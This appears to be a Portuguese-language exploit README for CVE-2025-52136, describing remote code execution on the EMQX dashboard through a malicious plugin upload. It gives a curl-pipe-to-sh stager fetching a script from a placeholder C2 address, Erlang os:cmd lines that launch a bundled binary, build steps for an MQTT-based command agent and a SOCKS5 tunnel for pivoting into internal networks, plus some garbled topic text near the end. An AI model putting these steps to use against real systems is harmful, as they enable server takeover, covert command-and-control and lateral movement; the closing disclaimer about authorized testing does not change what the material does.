
Exploit para CVE-2025-52136 que permite RCE no painel de controle do EMQX via upload de plugin, com agente de comando baseado em MQTT e túnel SOCKS5 para C2 fora de banda e pivô de rede.
https://github.com/ricardojoserf/emqx-RCE
A forma original de exploração consiste em fazer upload de um plugin do EMQX, adicionando chamadas ao módulo Erlang `os` no código do template do plugin para executar comandos do sistema e obter RCE.
Em ambientes com acesso à internet, onde o curl está disponível por padrão, é possível executar diretamente curl http://xx.xx.xx.xx/1.sh | sh para obter acesso ao C2.
Quando o alvo não possui acesso à internet, como o próprio EMQX é um servidor de mensagens MQTT, é possível combinar o upload do plugin para executar o binário enviado no servidor EMQX. Usando o EMQX como núcleo da fila de mensagens MQTT, o programa implantado atua diretamente como um "proxy de comandos do sistema": ele se inscreve nos comandos enviados pelo cliente e publica os resultados da execução de volta no tópico.
+-------------+
| Cliente |
| Envia comando|
| Tópico: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| Proxy de |
| comandos |
| Assina rx/cmd|
| Executa cmd |
| Publica tx/cmd|
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
Em seguida, seguindo a abordagem do autor original, adicione três linhas em my_emqx_plugin.erl:
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
Após compilar o plugin, use qualquer ferramenta de compactação para colocar o mqtt_agent no diretório my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\

Faça o upload do plugin

Em seguida, no cliente, adicione uma assinatura ao tópico tx/cmd e publique no tópico rx/cmd — pronto para uso.

Da mesma forma, é possível abrir um túnel entre Cliente ↔ Agente via MQTT, encaminhando dados TCP bidirecionalmente através do MQTT para o Agente na rede interna. O Agente então se conecta ao host alvo interno, permitindo a utilização de tunelamento interno.
Esta abordagem apresenta algumas limitações:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
O uso é semelhante ao processo de RCE descrito acima; aqui, basta ativar uma porta local para encaminhar o tráfego como um túnel SOCKS5.
tunnel/+/+/ctrl e tunnel/+/+/data/c2atunnel/{session}/{connID}/data/a2c e o ack em .../ctrlCompile o túnel proxy por conta própria.
Esta ferramenta destina-se exclusivamente ao uso em ambientes autorizados/ambientes de teste. É estritamente proibido qualquer uso ilegal.